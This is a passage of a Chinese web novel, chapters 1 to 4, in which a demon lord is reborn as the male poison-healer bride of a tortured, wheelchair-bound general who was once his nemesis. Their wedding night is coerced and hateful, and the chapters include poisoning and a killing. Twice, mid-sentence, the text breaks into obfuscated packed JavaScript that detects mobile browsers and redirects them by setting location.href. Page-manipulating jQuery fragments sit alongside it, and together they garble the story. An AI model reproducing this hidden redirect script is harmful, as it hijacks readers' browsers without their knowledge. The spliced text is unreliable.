《穿成苗疆毒医嫁给残疾将军》 1. 第 1 章 芙蓉帐暖,洞房花烛。 苗霜睁开双眼,浓重的血色遮蔽了视线。 心口的痛楚还未消退,耳边风雪呼啸,骨头缝里都沁透了寒意。 就在刚刚,他被泊雁仙尊贯心一剑结果了性命。 炼虚修士,半步合道,两人缠斗七七四十九天,苗霜终以半招落败。 技不如人,他也认了。 都说邪不压正,他这作恶多端的祸世魔尊终于结束了罪恶的一生,想必那些正道修士正在拍手称快,互相庆贺着过大年吧。 只不过…… 早已在风雪中冻僵的身体逐渐回暖,苗霜感觉自己又能动了,他慢慢活动了一下手腕,掌心在胸前摸了摸。 心口并无伤痕。 早该在滔天剑意中四分五裂的心脏还在跳动,甚至因为惊悸,跳得比平常还欢快许多。 …… 怎么回事? 他还活着? 随着他的动作,眼前的红色竟也跟着晃动,苗霜这才发现,遮蔽他视线的并非流进眼睛里的血,而是一块红布。 他一把将红布掀开。 细腻的红色绸缎绣着金线,喜庆又贵气。 什么东西? 红盖头? 即便是处变不惊的魔尊大人,也为自己莫名其妙盖上红盖头披着嫁衣坐在洞房里扮新娘子而震惊,他抬起头来,环顾四周。 半透的床幔垂下,大红囍字帖在窗棂上,耳边嘈杂退去,别说什么呼啸风雪,就连床头燃着的红烛烛光都没有晃动一丝。 毫无疑问,这里不是他殒命的万魔峰,甚至可能不是修真界,而是一间凡俗人家的婚房。 苗霜:“……” 稀罕。 头回知道死后的世界是这样的。 他并不相信自己在泊雁仙尊的剑下能够侥幸存活,可他的意识还在又是事实。 莫非是杀他的人将他的神魂拉进了某种幻境,让他在欲|海中迷失自我,好让他走得舒服快活些? 但那是合欢宗修士才能习得的绝技,他偷师都没偷成,怎么看也和光风霁月的泊雁仙尊不沾边吧。 泊雁仙尊一生除魔卫道,想必不会心慈手软,给他这个魔头送来临终关怀。 那就奇了怪了…… 正思索着,屋外忽然传来说话声:“将军快些进去吧,别让夫人等太久。” 那声音尖声细气,笑吟吟的,又隐隐透出威胁:“毕竟是陛下钦赐的婚事,圣恩浩荡,将军还是要高兴些才好。” ……将军?夫人? 不过是被死对头捅了一剑,他苗霜就从堂堂魔尊变成了将军夫人?哈? 想他昔日统领万魔,每天上赶着想和他双修的人不计其数,虽然那些歪瓜裂枣他一个都看不上……但最次也该是将军嫁他。 一想到自己将成他人胯|下之物,苗霜就不禁有些恼火,这将军夫人谁爱当谁当,反正他苗霜不当。 他抬手就要掀了这婚房,给这些不知天高地厚的凡夫俗子一点颜色瞧瞧,可手刚抬起来,他表情就僵住。 体内竟一丝法力也无! 门扇微动,外面的人要进来了,千钧一发之际,苗霜果断收手,抄起红盖头重新顶在了头上。 男子汉大丈夫能屈能伸,暂且不知对方底细,先静观其变。 有人进来了,苗霜却没听到脚步声。 只有木轮碌碌轧过地面,经过拆去了门槛的房门,缓慢朝他接近。 许久,那自始至终不发一言的将军终于来到他面前,掀开他匆忙覆在头上却并没盖正的盖头。 被红色遮蔽的视野再度亮起,率先映入眼帘的是对方的手。 一只伤痕累累的手。 被拔掉的指甲还没完全长好,手腕内侧层叠的伤疤证明这里的筋脉似乎被挑断又续接过,也因此,这只手已变得不甚灵活,掀个盖头都十分困难。 这人受过重刑。 视线顺着手臂往上,苗霜终于看清了他的脸。 一张熟悉到不能再熟悉的脸。 在万魔峰被正道修士围攻的那四十九天,他日日夜夜都面对着这张脸,就在两刻钟前,这张脸的主人还神情淡漠地睨视他,毫不留情地将冰冷的长剑送进他的心口。 “泊雁仙尊……”苗霜狠狠地咬着牙,恨不得将这四个字嚼碎了吃进肚子里。 祁雁抬起眼帘,淡淡地看了他一眼,神情并没因这个称呼而产生任何波动。 苗霜:“……” 不对劲。 这人好像不是泊雁仙尊。 虽然泊雁仙尊也总是一副拒人于千里之外的死样子,但更多的是孤绝疏离,清冷出尘如高岭之花。 而现在这个…… 不知道是不是受过重刑的缘故,那眼神漠然如一滩死水,深黑得近乎阴郁。 而且,他好像不认得他。 如果泊雁仙尊发现他还活着,绝对不可能是这样一种漠不关心的反应。 怎么回事? 此祁雁非彼祁雁? 可他又笃定自己不会认错,面前这副躯壳里装着的确是祁雁的神魂,化成灰他都认得出来。 姓祁的失忆了? 捅了他一剑,又把他忘了? 这和操完他提了裤子就跑有什么区别? 四目相对的寂静之中,门外那道尖细的嗓音再度响起:“那老奴就不打扰将军行|房了,陛下钦定的良辰吉时,还望将军和夫人共享春宵~” 房门被人带上,苗霜往门口一瞥,眯了眯眼。 一口一个陛下,看似是贺喜,实则分明是威胁。 一个尖声怪气的死太监,竟能对将军指手画脚,这究竟是哪朝哪代,不阴不阳的东西也敢这般颐指气使? 等等。 死太监说的话倒是有些耳熟,似乎在哪里见过…… 将军、皇帝、赐婚…… 有点印象了。 这好像是他之前看过的那本书里的剧情。 两个月前,他随手砍翻了几个不识好歹的正道修士,捡了他们的储物法宝,收了几件可有可无的破烂。 这些正道修士身上的东西甚是无趣,一些仙道典籍,他当柴火烧了,只有一部凡俗话本还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289234|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算有意思,原因无他,里面的主角是苗霜和祁雁。 他和祁雁争斗千年,不光是修真界,就连凡间也开始流传关于他们的事迹,经过一些人添油加醋,编得比他们的真实经历还热闹。 记得之前听说,凡间管这叫什么……“铜仁”? 出于无聊和好奇,苗霜翻开了捡到的铜仁话本子,想看看这些凡人究竟怎么编排他们。 话本名为《圣蛊》,内容倒是十分新鲜,里面架空了一个叫做“雍”的朝代,祁雁被塑造成了雍国将军,为国家出生入死,战功赫赫,却又因功高震主遭皇帝忌惮,欲除之而后快。 恰逢苗疆“圣蛊”现世,得之可得天下,大雍皇帝派祁雁踏平了苗寨,却没能带回圣蛊,只带回一个空盒子,便借此机会治了祁雁的罪,下狱施刑,逼他说出圣蛊的下落。 祁雁被废了一身武功,折断手脚,依然闭口不言,昏君便又想出一招狠的——一纸诏书赐他大婚,美其名曰看在他为大雍立下汗马功劳的份上放他一马,办点红事冲冲喜,实则赐了他一个苗医为妻,这苗医不光心狠手辣恶毒如蛇蝎,还是个男的。 是的,没错,这苗医便是他这个凶名能止小儿夜啼的堂堂魔尊大人,苗霜了。 至于魔尊和苗疆究竟有什么关联……可能因为他名字里带“苗”吧。 又或者是魔修在凡人眼中恶毒如巫蛊。 总而言之,话本的内容虽然十分新鲜,但和他或祁雁着实不沾边,没办法,铜仁话本子多了就是这样,除了名字还是那个名字,其他都属于杜撰成分。 苗霜将其定义为某个爱看仙尊落难的家伙释放杏癖之作,没什么营养,也就闲来无事翻两眼。 正道修士们杀来的那天,他正窝在万魔殿里看话本呢,把书往怀里一揣就迎上了祁雁的剑,到死,书应该还在身上。 或许是因为这个,导致他没在祁雁剑下灰飞烟灭,反而掉进这书中的世界里来了。 炼虚修士的交锋连空间都能撕裂,发生什么都不稀奇,只是他不明白,他进来也就罢了,祁雁为什么会在这里? 他是死了才神魂离体,祁雁呢? 莫非这位天天追着他杀的仙道魁首其实是个深柜,给他这祸世魔尊殉了情? 苗霜被自己的想法逗笑了。 只怕是祁雁杀完他收缴他的法宝,看到了他身上的书,才被吸进来的吧。 也不知这位一辈子顺风顺水的天之骄子,清绝傲岸的泊雁仙尊,看到自己被编排成话本里的样子,内心作何感想。 苗霜慢慢站起身来,居高临下地看着轮椅上的人。 昔日身骑战马,手握长|枪,以一敌千的大将军,如今已腿不能行,手不能提,只能借轮椅行动,重伤未愈,大红的喜服更衬得他面色苍白憔悴。 但那副清俊的眉眼又冷淡一如往日,无论门外阴阳怪气的太监如何挖苦,无论昏君如何逼迫羞辱,深黑的眼眸都始终平静无澜。 苗霜深吸一口气。 某人这副明明大难临头却又心如止水好似事不关己的死样子,还真是让人…… 唧儿邦硬。 2. 第 2 章 苗霜手指下移,开始解腰带。 这回祁雁终于有了些反应,他的视线也跟着落在苗霜腰间,冷峻的眉皱了皱。 “将军还不宽衣?难道等着我伺候你?” 搞清楚目前状况,适应能力良好的魔尊大人已经完美融入了角色,他三两下解开腰带,随手将奢华繁复的喜服扔在一边。 这婚服的料子、工艺都是顶级,一看就是御赐,但这份“圣恩”穿在一个刚刚出狱、遍体鳞伤的“罪臣”身上,只能说十分违和。 难看,不如扒了。 苗霜伸手去解祁雁襟前盘扣,顺势就坐在了他腿上,完全没留意有什么东西也跟着被他扔下的嫁衣落在了床上。 红色的衣团耸起一个鼓包,里面被埋住的东西左顶右顶,总算探出头来,竟是条通体雪白的小蛇,红玛瑙般的小豆眼望向苗霜,疑惑不解地吐了吐信子,似乎不明白主人为什么把它丢下。 苗霜的手继续向下,祁雁终于忍不住抓住他的手腕,紧锁眉头沉声质问:“你到底想做什么?” “嗯?原来你会说话?”苗霜饶有兴味地歪了下头,视线停在他滚动的喉结上,“我还以为你的嗓子也被毒哑了呢。” 只是这嗓音嘶哑得厉害,和泊雁仙尊相去甚远,他不喜欢。 他伸手掐住祁雁的脖子。 冰冷的手指扼住咽喉,祁雁下意识想要反抗,纵然他一身武功已废,却也不至于被这样的伎俩杀死。 可下一秒,扼住他的力道又松开,拇指移向他的喉结,在上面重重一按。 “……!” 怪异的感觉让祁雁浑身僵硬,痛痒难耐间,苗霜又贴上来,猩红双眸将那张脸庞衬得妖冶又诡谲:“将军竟问我做什么?这大婚之日,做的自然是——爱。” 温凉的吐息犹如蛇信扫过面颊,祁雁脸上肉眼可见地浮现出薄怒。 也难怪,一个战功赫赫的大将军,征战四方的英雄,被昏君以莫须有的罪名下狱折磨成废人不说,还被按头逼着娶一个异族男人。 如今,这来历不明的苗人还要跟他上床。 这是何等的奇耻大辱,他这个助纣为虐的恶毒男妻,一定会被姓祁的往死里恨。 可他还就偏爱看祁雁这副模样。 怒而不发,隐忍不言,没想到泊雁仙尊那张波澜不惊的面瘫脸上也会露出这样丰富的表情。 姓祁的现在失忆了,等有朝一日想起自己是谁,发现他一个仙道魁首竟和祸世魔尊成亲还上了床,不知会是什么反应。 光是想想就让人兴奋得浑身发抖。 “将军何故用这种眼神看我?”苗霜明知故问,“难道你们汉人的传统,就是在大喜之夜对新婚发妻如此冷淡?” 祁雁:“……” “哦,差点忘了,”苗霜收回磨碾他喉结的爪子,手臂一展,从旁边小桌上取来一杯酒,“按你们汉人的传统,喝了这酒才算礼成,对吧?既如此,那我也入乡随俗。” 祁雁目光阴沉地盯着他,看起来并不打算接这杯酒。 苗霜倒也不在乎他配不配合,只将杯中酒含了满口,而后扳过祁雁的下巴,覆上唇去。 辛辣的酒液被强行渡进口腔,祁雁不可抑制地呛咳起来,他脸上同时闪过震惊与厌恶,猛地推了对方一把。 杯里剩余的酒因他这一推而泼洒出来,湿了两人满身,苗霜却满不在意地捉住他抗拒的手,凑在唇边轻吻,晶莹酒滴顺着掌心滑下,落在他温热的舌尖。 被潮湿的舌头舔过虎口,祁雁只感觉一阵恶寒,这苗人的每一步举动都超出他的想象,与其让他和这疯子结为夫妻,不如现在就拼个鱼死网破。 祁雁疤痕累累的手臂上青筋凸起,苗霜从他掌心抬起眼来。 好浓烈的杀意…… 和那日将长剑捅进他心口时如出一辙。 这才有点泊雁仙尊的样子。 苗霜眼底的兴奋更盛,映得那双血红色的眼眸愈发妖艳,他挺直腰身,单手撑住轮椅椅背,压低声音:“将军难道是想抗旨?陛下钦赐的婚事,将军配合些,对你我都好。” 怪异的触感硌着祁雁的腿,他身形一滞。 手指被苗霜含进嘴里,尖齿咬穿了还没长好的指甲,十指连心的剧痛却也让祁雁彻底清醒。 纵然武功废尽,但凭借过人的耳力,依然能听到门外的窸窣声响。 陛下派来盯着他的太监没走。 祝公公侍奉陛下多年,已是老奸巨猾,如不假戏真做,难以骗过他的眼睛。 这苗人虽举止乖张,话却不假。 他现在罪臣之身,只待秋后问斩,没资格拼个鱼死网破。 含着血气的吻强行闯进了他的口腔,腥咸粘腻,祁雁五指紧紧扣住轮椅扶手,闭上双眼。 * 祝公公在婚房外踯躅徘徊。 陛下命他看好祁雁,他一刻也不敢松懈,一守就是一整晚。 天气已是深秋,夜里的秋风打在身上,透骨的凉,冻得他在皇宫养出来的肥膘不停打颤,只得搓手哈气取暖。 当然,最折磨人的并非天气寒冷。 洞房内花烛晃动,人影交叠,云雨之声不绝于耳,听得他这净身四十年的老太监竟也口舌生津,身上不存在的物件又短暂地耸立片刻。 府上新雇的下人夜半三更不去睡觉,反反复复扫着那几片落叶,贼眉鼠眼低声议论:“将军被大刑伺候三个月了,竟还能这么激烈,真不愧是咱们大雍第一猛将!” “我怎么觉着是那苗人在出力?啧啧,这蛮子就是不一样,花样真多。” “所以这男人和男人之间究竟是怎么做的?” “好奇?不如你捅开窗纸看看?” “我可不敢,要不你来?” 下人们嘻嘻哈哈,竟全然不把“将军”放在眼里,末了一人道:“怕不是那用刑的放了水,哪有人被严刑逼供三个月还能活着的。” 祝公公冷冷扫了他们一眼,尖声细气:“再多嘴,小心你的舌头!” 下人们吓得一哆嗦,纷纷了住嘴,再没人敢多说半句,各自散去。 屋里的动静一直到后半夜才停,花烛也燃尽了,祝公公实在熬不住,坐在檐廊下打起了盹。 天将明时,他被突然响起的开门声吵醒。 苗霜衣衫半整不整地倚在门口,浑不在意肩头露着半个带血的牙印,他餍足地微眯双眼,看向老太监臃肿的身躯: “祝公公在此候了一宿,可听够了?莫不是净身没净干净,还对这鱼水之事心存绮念?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289235|152073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝公公大惊,连连摆手:“夫人这话可不能乱说,老奴我要掉脑袋的!咱家只是奉陛下之命,在此侍候将军夫人罢了。” 侍候? 苗霜咂摸了一下这词,皮笑肉不笑道:“那就烦劳公公给我烧些热水来。” 说完,又“砰”一声把门关上了。 祝公公嘴角抽了抽。 他十三岁净身入宫,侍奉皇室已有二十余年,任谁见了他都得尊称一声公公,除了陛下本人,还是第一次有人敢对他这般无理。 陛下近些年来行事愈发乖张荒谬,竟真信一个南蛮异族信口开河——这蛮子说他能撬开祁将军的嘴,逼问出那圣蛊的下落。 一个被重刑伺候了三个月都没松口的硬骨头,单靠一个苗人,还真能把他治服帖了不成? 他目光阴毒地盯着紧闭的房门,扯开尖细的嗓音:“来人,烧些热水,伺候夫人沐浴——” * 苗霜最终没要下人伺候。 让他们往浴桶里加满热水,便打发他们离开了。 解下身上松松垮垮的衣袍,苗霜赤足跨入水中,坐下来,让冒着白气的热水一直浸过肩膀。 酸痛的筋骨被水泡得松懈舒展,身体从里到外都透着让人酸软舒服的乏。 雪色的长发在水面铺展开来,又渐渐沉入水中,苗霜低下头,凝视着自己的倒影。 这具身体比他自己的更纤细些,面容却与他相差无几,他常年修习魔功,一头青丝早成了白发,加上一对血色眼瞳,还爱穿着红衣招摇过市,被人贴切地称为“白发赤魔”。 ……苗霜对这些正派修士的取名审美不敢恭维。 或许是为了贴合人设,这书里对他的外貌描写也和本体大差不差,只不过白发的原因变了—— 苗疆有一种残忍的炼蛊方法,将九九八十一种剧毒蛊虫放入同一口大缸里,不给食物,让蛊虫自相残杀,最后活下来的即为蛊王,再让蛊王噬咬垂髫孩童,谁能承受得住蛊毒,谁就可以驭使蛊王,成为蛊王认可的“大巫”。 因为承受了过量的毒素,形貌多少会发生一些改变,有人从此变得面貌狰狞,畸形可怖,也有像苗霜这种的,只是白了头发红了眼珠。 简而言之,就是从魔头变成了蛊王……反正都是些歪魔邪道,苗霜倒也能触类旁通。 现在他一身法力全无,这身体不习武,也无甚内力,但经过一夜的适应,他已经能将蛊毒用得得心应手。 拿谁适应的?自然是祁雁。 对他下毒,毒发之前再解掉,这家伙忙着颠鸾倒凤,估计自己都不知道短短两个时辰间身上中过多少种毒。 思绪转到祁雁,水也差不多冷了,苗霜站起身来,搅碎了水面浮着的倒影。 他随手披了浴袍往屏风外走,没擦干的水珠顺着苍白的皮肤往下流,经过磨红的腿根,一直淌过脚踝流到地上。 苗霜往卧房里瞄了眼,祁雁竟还在睡。 他不禁发出嗤笑。 才折腾了半宿就睡到现在。 虚。 凡人的身体素质就是差,这要是放在他们万魔峰,谁双修没个三天三夜就出来,都得成为茶余饭后的谈资笑柄。 亏他还给姓祁的下了两道强身健体的蛊呢。 3. 第 3 章 抛开这点不谈,姓祁的还算好用。 够大,够爽。 像这种品行端正,清俊高冷的仙尊,在修真界可是抢手货,没有哪个魔没幻想过将泊雁仙尊圈作炉鼎,日日双修,只可惜—— 没人打得过。 在修真界没吃着,现在吃着了,倒也算了却一桩遗愿。 苗霜穿好衣服,从祁雁身边经过。 他肉身已死,唯余神魂尚在,若是离了这个书中世界,只怕也要灰飞烟灭,回去是没可能了,不如想想今后该怎么办。 虽然被困在这一方天地里让他心有不甘,但有死对头睡,也姑且能忍,只待哪天祁雁恢复了记忆再杀他一次,或者被他所杀,也就一了百了,没什么遗憾了。 苗霜坐在镜前,开始梳妆。 昨夜他身体享受,脑子也没闲着,已将这部书的内容大致梳理了一遍——现在他所处的剧情,正是这本书的开篇,两人在新婚之夜做恨的那段。 书里的“苗霜”因幼时经历了那场惨无人道的大巫选拔,亲眼看着同伴惨死,父母被杀,对苗寨心生怨恨,性子也变得乖戾疯癫,在雍国军队攻打过来时果断选择了投敌,为博得大雍皇帝信任,不惜自献“命蛊”之血以示忠诚。 命蛊就是那只和大巫绑定的蛊王,二者休戚与共,一荣俱荣一损俱损,如果向谁献出命蛊的血,就意味着大巫不能再对那个人下蛊,并对他言听计从。 苗霜对于书中的自己,评价只有四个字:可悲可恨。 明明有千般手段,却偏偏选择了最窝囊的一种,将自己的性命交到别人手上,这种行为实属狗急跳墙,愚蠢之至。 背叛部族投效大雍,也不过是从一个火坑跳进了另一个火坑,雍国的水远比苗寨更深。 原主按照大雍皇帝的旨意,伪装成普通苗医,表面和祁雁成亲给他冲喜,为他治伤,实则千方百计地下毒折磨他,逼迫他说出圣蛊的下落。 但即便这样祁雁也没招。 成亲三年,祁雁就被折磨了三年,屡屡被折腾得生不如死,对原主和皇帝恨上加恨,人也变得愈发阴沉寡言。 这位大将军忍辱负重,韬光养晦暗中谋划,终于在三年后夺回兵权,杀了昏君一统天下。 而原主则被大军乱踢践踏致死,连个全尸都没剩下。 ……可见这书的作者立场分明,坚定站在“邪不压正”的那一边。 这样的结局让苗霜越看越气,边看边骂,看一页撕一页。 书被他撕掉了半本,剩下的嘛,就全是两人床笫之欢的香艳画面了。 别人玩纯爱,他俩玩纯恨,越恨越做越做越恨,那叫一个激情四射酸爽无比,步步到胃根根见血,还次次都不重样。 于是苗霜保留下了这半本“精华”,没事就掏出来反刍两下。 一想到书中描写的有多激烈,苗霜就忍不住回头看向床上昏睡的人,嘴角不太愉快地往下一撇。 还没醒。 太虚了,得补。 不然怎么跟他做恨? 皇帝让他给祁雁下毒消耗他的元气,但皇帝又算什么东西? 他这辈子最讨厌被人控制,原主如何和他苗霜无关。 还没人能教一个魔尊怎样做反派。 苗霜站起身来,开门叫来佣人。 “我初来乍到,对这将军府还不熟悉,你带我四处转转。” 那下人愣了一下,恭敬道:“是,夫人请。” * 祁雁再次醒来已是午时。 他身体重伤未愈,又被苗霜不加节制地折腾了半宿,只觉浑身骨头都散了架。 打仗时日夜行军都没这么累过。 祁雁咬紧牙关,强撑着坐起身来,被褥之上一片狼藉,红白之物无声诉说着昨夜发生的一切。 ……居然真的和一个男人睡了。 还是个苗人。 真是荒唐。 祁雁用力闭眼,把污脏的被子掀到一边,不愿再看。 艰难把自己挪上轮椅,想要离开房间,一抬眼,却看到不远处的桌上有着什么不该存在的东西。 蛇? 他的卧房里居然会有蛇? 轮椅来到桌前,只见那蛇一动不动,似是死了。 注视着这条误入此间又莫名逝去的弱小生命,祁雁阴沉的眼眸中透出一丝怜悯,他试图将这蛇带出去埋在树下,指尖碰到蛇身的刹那,一动不动的蛇却突然蜷缩起来。 冰冷的蛇身缠上他的手腕,带来腻滑又怪异的触感,却不知为何缠得七扭八歪,屡次差点从他手上掉下去。 祁雁皱眉看着这条奇怪的蛇,再看到桌上空了的酒杯,终于明白了什么。 这蛇居然偷喝了昨晚剩下的合卺酒。 不是死了,只是醉了。 脑子正常的蛇大概不会主动喝人类的酒,看来这蛇不是凡物。 蛇身雪白,眼睛血红,和那白发赤眸的苗人出奇神似。 这东西…… 祁雁捉住了还在晕头转向的蛇,指尖掐住它的咽喉。 数月前他率兵攻打苗寨,提前进行了一番周密调查,得知苗寨有一位善用蛊毒的大巫,很可能对他们构成巨大威胁,他千般提防,可直到最后斩杀苗寨款首,这位所谓的大巫都没出手。 据传,大巫能驭使千百种毒物,但属其伴生“命蛊”毒性最强,命蛊比普通毒物更具灵性,难以提防。 莫非这条蛇就是传闻所说的“命蛊”,苗霜就是那大巫? 祁雁指尖慢慢下移,抵住了蛇的七寸。 命蛊与大巫异身同命,如果他杀了这命蛊,就算不能真的杀死苗霜,也一定能给予他重创。 祁雁深黑的眼眸中涌起杀意,被他捏在手里的蛇却好像全无所觉,红玛瑙般的的小豆眼中透着不谙世事的清澈和愚蠢,殷红蛇信吞吞吐吐,还讨好似的伸出尾尖,亲昵地勾了勾他的手指。 祁雁:“……” 或许是他搞错了。 一条毫无危机意识的蠢蛇,怎么看也和那蛇蝎心肠的苗人不沾边。 他松开钳制,任由蛇在手上爬来爬去,蛇信扫过伤痕累累的手腕,又凉又痒。 忽然,祁雁抬起眉眼。 先前一直不见踪影的苗霜再次出现:“小白,原来你在这里。” 小白? 苗霜冲祁雁腕上的白蛇伸手:“还不回来?想被人剖了做蛇羹?” 白蛇这才不情不愿地游上他掌心。 苗霜把玩着小蛇,笑吟吟道:“它叫小白,是我的伴生命蛊,虽是蛊虫,却有自己的思想——将军可不要将它当做普通长虫,随意打死。” 白蛇被他一通揉搓,似有些不情愿了,从他手中挣脱出来,吐着信子钻进他袖口。 祁雁的嗓音嘶哑冰冷:“你当真是那大巫?” “嗯?我还以为你知道,”苗霜凑近了他,满意地盯着他唇瓣上被自己啃出的伤口,“陛下赐你大婚,竟连新婚妻子的身份都不告诉你,这亲也成了,爱也做了,你却还不知道我是谁。” 那眼神仿佛要将人吞吃入腹,祁雁有些厌恶地别开脸。 苗霜竟真是大巫,这怎么可能? 一个对苗寨举足轻重的苗人,为何会投效异族,又是怎么潜进皇都,得到陛下的赏识? 难道是混在那批从苗寨押回的俘虏当中? 可那批俘虏中的每个人他都亲自审问过,苗霜的容貌极有辨识度,如果他真的见过,不可能没有印象。 是通过蛊术改换了容貌吗? 既然这么谨小慎微,又为什么突然大大方方地说出来? 这苗人的每一步棋都走在他意想不到的地方,性格乖戾举止疯癫,甚至行事自相矛盾。 明明投效了大雍,却又好像和陛下不是一条心,他竟看不出他打的什么主意。 他慢慢迎上对方的视线,试探道:“身为大巫,却临阵脱逃,害族人枉死。背叛部族,令人不齿。” “令人不齿?”苗霜忍不住笑了,伸手扳过他的下巴,“将军,你怕不是忘了自己的罪名?私藏圣蛊,意图谋反——咱俩也算天造地设的一对,你说是也不是?” 祁雁恶狠狠地盯着他,手臂青筋凸起。 果然还是该掐死那条蛇! 苗霜享受着他散发出的杀意,这种让人汗毛倒竖脊背发凉的感觉有种说不出的刺激和畅快,毕竟他在修真界也算难觅敌手,除了泊雁仙尊,没人能对他构成威胁。 万魔峰上日复一日,修炼还是杀人都同样无聊,只有祁雁这个名字能让他提起些许兴致。 苗霜有些兴奋地舔了舔嘴角,回想起仙风道骨的泊雁仙尊,又看了看面前这个形容狼狈的祁雁将军,忽然变得不太愉快。 他还是喜欢他纤尘不染的样子,面无表情地将长剑捅进他心口,雪白道袍上依然不沾一滴血。 苗霜转身离开。 他叫来府中下人:“将军要沐浴更衣,去烧些热水 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口鼻中咕咕冒出血泡,他满脸惊惧地倒了下去。 水桶落地砸出的声响惊醒了院中吓傻的众人,同样来挑水的下人们纷纷跪倒,惊叫声响作一团。 “都跪下去做什么?”苗霜笑吟吟道,“还不快过来计时,看看这血究竟几时冷?” 鲜血在尸体下聚出一汪血泊,还冒着丝丝热气,苗霜好整以暇地倚在门边,漫不经心地掏出手帕擦拭沾血的骨刃。 下人们没一个敢上前,却从远处传来尖细的嗓音:“哎呀!这是做什么!老奴我只是去看了一眼后厨——” 祝公公的声音在看到尸体时戛然而止,脸上的肥肉微微抽搐起来。 “不听话的下人,随手收拾了,”苗霜笑道,“身为将军夫人,我还有资格替将军管理这些琐事吧?” 祝公公咽了口唾沫,勉强挤出一丝笑容:“……那是自然,那是自然,这亲既已成了,夫人便是府上当家主母,家宅内事理该由您接手。” 苗霜:“既然这样,你们还跪着干什么?还不快把这里打扫干净?这么一点小事都办不好,究竟还想让将军等多久?” 他随手扔了染上血污的手帕,遮住尸体死不瞑目的脸,压低声音:“祝公公却也该回去洗洗,我鼻子灵,您下次如厕时还是多注意些,弄脏衣服事小,若是惹得陛下不快……” 祝公公的脸色一下子变得难看至极。 他脸上横肉乱颤,许久才挤出一个僵硬的笑容:“谢……夫人提醒。” “不客气,我这人没有别的优点,就是心地善良——公公请便。” 祝公公转过身,笑容再也挂不住,沉着脸拂袖而去。 下人们在院中忙忙碌碌,搬走了尸体,泼水的泼水,扫地的扫地,很快将门前血迹清理干净。 苗霜的视线从他们身上一一扫过。 一些看到杀人就会吓破胆的家伙,充其量也只敢在背后嚼嚼舌根,明目张胆给祁雁下绊子使阴招,如果没人挑唆,他们干不出来。 看来是他今早惹了祝公公不快,对方咽不下这口气,却又不敢对他这被皇帝“委以重任”的大巫怎么样,便拿祁雁开刀。 这不阴不阳的死太监,折腾人的手段都这么阴损,姓祁的武功废尽又重伤未愈,要是真在这种天气用冷水洗澡,非得大病一场不可。 苗霜皮笑肉不笑地站在门口,下人们在他的注视下进出忙碌,只觉如芒在背。 祁雁坐在轮椅里,神色复杂。 这苗人……到底在做什么? 在给他出头? 浴桶里的水重新添好,挑水的下人忙得满头大汗,唯唯诺诺道:“夫人,水……放好了。” “知道了,下去吧。” 对方如蒙大赦,点头哈腰退出房间,关上了门。 苗霜来到祁雁面前:“还不快去?” 祁雁转动轮椅转过屏风,可苗霜却没有回避的意图,他宽衣的手不禁慢了下来。 “磨蹭什么?”苗霜在他身后催促,“连你的形状深浅都知道了,还怕我看你?” 祁雁:“……” “还是说,”苗霜忽然凑到他耳边,胳膊越过他肩头掸了掸他衣服上的脏污,笑着往他耳窝里吐字,“你其实不想洗,就想留着这些属于我的东西?” 4. 第 4 章 祁雁只感觉脖子上的汗毛都立了起来,说不上是惊悚还是恶心,他一把拍开了苗霜的手,迅速脱掉身上皱皱巴巴的里衣。 苗霜在他身后哈哈大笑起来。 笑了一会儿,嘴角的弧度又淡去。 最后一件蔽体的衣物脱去,身上那些伤痕就悉数暴|露出来,那模样实在算不上好看,纵横交错的疤痕层层叠叠,几乎找不出一块完好的皮肤,本该结实精劲的躯体也因长达三个月非人折磨而消瘦得有些脱形。 任何人看到他的第一反应,恐怕都是“这人能活下来真是个奇迹”。 祁雁吃力地把自己挪进浴桶,难免溅了些水花出来,他这狼狈不堪的模样,即便是苗霜也有些目不忍视,转身躲到了屏风后面。 空气安静下来,只剩水声。 许久,祁雁嘶哑的嗓音才穿插在水声中响起:“你不该惹祝公公。” 苗霜没料到他会说这话:“怎么?” “祝公公侍奉陛下十几年,龙气近身,便是阉党也要心高气傲,今日在你面前忍气吞声,转头就去陛下那里告你的状。” “那就让他去,”苗霜满不在意地一笑,“你这个将军也为陛下征战了十几年,出生入死披肝沥胆,如今又落得什么下场?” 祁雁:“……” 苗霜:“有些时候,太受宠并不见得是一件好事,圣恩浩荡,但水满则溢。” 水声停了一停:“你要借此挑唆他们的关系?” “聪明人。” “但陛下为何会信你,而不是侍奉他十几年的公公?” “你就拭目以待。” 祁雁没再接话。 他不知道这苗人究竟哪来的底气,不过……对他而言总没坏处。 能斗倒祝公公自是最好,圣蛊一事,这位公公可没少在陛下耳边吹风。 斗不倒也没什么损失,陛下一日没拿到圣蛊,就一日不会杀他,若是怪罪下来,这份圣怒也要由那苗人承担,陛下素来喜怒无常,如果一气之下把苗霜杀了,再好不过。 最次……是苗霜和祝公公合起伙来演戏给他看。 兵来将挡水来土掩,且静观其变。 正思索,苗霜突然从外面闯了进来,冰凉的手指扣住他的手腕。 身体快过意识,祁雁本能地做出抵抗,瞬间反擒了他的手,可惜因为伤过手筋力量不足,很容易就被对方挣脱了。 苗霜瞪他一眼:“给你看伤,别乱动。” 祁雁:“。” 白皙指尖按在他伤痕累累的手腕上,摸了一会儿,又转向另一边,从水里捞出他另一只手。 探过脉象,苗霜沉默良久。 虽然昨夜颠鸾倒凤时他就已经探查过了,但那时毕竟战况激烈,脉象也活络许多,现在潮水退了,平静下来后只叫一个死气沉沉。 